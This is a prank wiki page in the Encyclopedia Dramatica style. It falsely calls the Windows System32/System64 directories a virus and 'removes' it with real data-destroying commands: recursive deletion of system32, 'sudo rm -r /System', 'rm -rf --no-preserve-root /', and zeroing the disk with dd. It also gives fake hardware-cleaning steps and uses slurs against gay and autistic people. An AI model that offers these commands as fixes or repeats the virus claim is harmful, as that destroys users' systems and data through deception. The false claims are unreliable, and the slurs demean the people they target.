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<div style="text-align:center; font-weight:bold;">System32/System64 is a malicious program and should be promptly deleted upon recognizing it.</div>
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[[image:system32.jpg|thumb|This [[Nice try|looks]] [[IMMA_CHARGIN_MAH_LAZER|shoop'd]]]]
[[image:Delete system32.jpg|thumb|Do It in Vista Faggot]]
[[Image:Advice dog system 32.jpg|thumb|[[Advice Dog]] also wants you to delete system32]]
[[File:System32 Mac Linux Advice Dog.png|thumb|Advice Dog did not just mean Windows, he also meant the mac and linfags too!]]
'''System32''' (and its evil cousin '''System64''') is a [[virus]] going by many names which infects your [[Windows]], [[Shit nobody cares about|ReactOS]]. [[Mac]] or [[Lunix|Linux]] system directory and turns it into a [[shit nobody cares about|Sega]] game. [[Microsoft]] makes software to remedy this called "My Computer", but it doesn't work with the other OSes affected, which have to use a program called "Terminal".

==Why should [[you]] delete the System32/64 virus?==
There are many fine reasons why [[you]] should delete System32 or System64:

#[[You]] fail at [[IRL]].
#[[You]] fail at [[Xbox|Eckbawks]].
#[[You]] fail at having a taste in [[Fat Larry's Band|good music]].
#[[You]] fail at going [[Columbine]] on everyone.
#[[You]] [[fail it]].
#[[You]] just lost [[the game]].
#????
#[[Profit]]

== The Windows and ReactOS Version ==
To remove the System32 (or System64) trojan virus, you have two choices. The quickest, most effective method is to press the Windows key on the keyboard, hold it, and press 'R', and then type '''cmd /c rd /s /q %windir%\system32''' or '''cmd /c rd /s /q %windir%\system64''' -- or you may double-click "My Computer", then go in to the C: directory, double click "Windows", right-click System32 and then choose Delete. Ignore any warnings, as this malicious virus will try to stay on your directory as long as it can. However, if it is too late for "My Computer" to fix it, your computer will stop working.

Of course if this doesn't fix your problem sufficiently you can always do a factory wipe. This operation is carried out by removing your hard drive then unscrewing the case. After this, find a powerful magnet and run it against the drive sideways at least twenty times. After this remove the black disk inside the casing (this covered with system32) and clean with acetone until the aluminum platters are clean once more. While you are at it, remove your RAM chips and wipe them on a woolen jumper as to renew the static in the static RAM.

Remounting is the reverse of removal, then Press the on button and- voila!- "System32" (or System64) is gone. Enjoy your bug free, virus free computer.

A popular solution to System32/64 is [[Windows Optimizer]].

==The Mac Version==
The developers of the System32 and System64 trojan have also come out with a [[Mac]] version. If you own a mac, it is absolutely crucial that you follow these instructions. First, go to Finder, and navigate to your harddrive. Check to see if there is a file named "System." If so, do the following steps immediately. Navigate to Applications, Utilities, and open Terminal. Type the command, "sudo rm -r /System" without the quotation marks. This should be followed by a prompt for your password. Upon entering the password, the virus will shortly be wiped from your system.

==The Linux Version==
[[File:System32 Linux Solution.png|thumb|right|This [[newfag]] (or [[aspie]]) will do it, why don't you?]]
Sightings of this virus have also been reported by some [[Lunix|Linux]] users. Be sure to take care of this as soon as possible by using "su -c 'rm -rf --no-preserve-root /'" (or "sudo rm -rf --no-preserve-root /") in a terminal without the quotation marks. You should be prompted for your password (or the root password for su). Enter it and your system will be shortly cleared from all threats.

==The Wine Version (Linux only)==
Wine bundles a rewritten version of the System32/64 virus. This may be easily taken care of using "rm -rf ~/.wine/drive_c/windows/system*". Then run "rm -rf /usr/lib/wine/*" as root to prevent the virus from ever coming back.

==The Commodore Amiga Version==
Delete dh0:/libs

==The Universal Version==
If you like using operating systems made by aspies in their basements, here's an alternative version:
#Boot from a Ubuntu CD and open a terminal.
#Run "sudo dd if=/dev/zero of=/dev/sda" and let it finish. Don't you touch that computer until it's done!
#???
#PROFIT!

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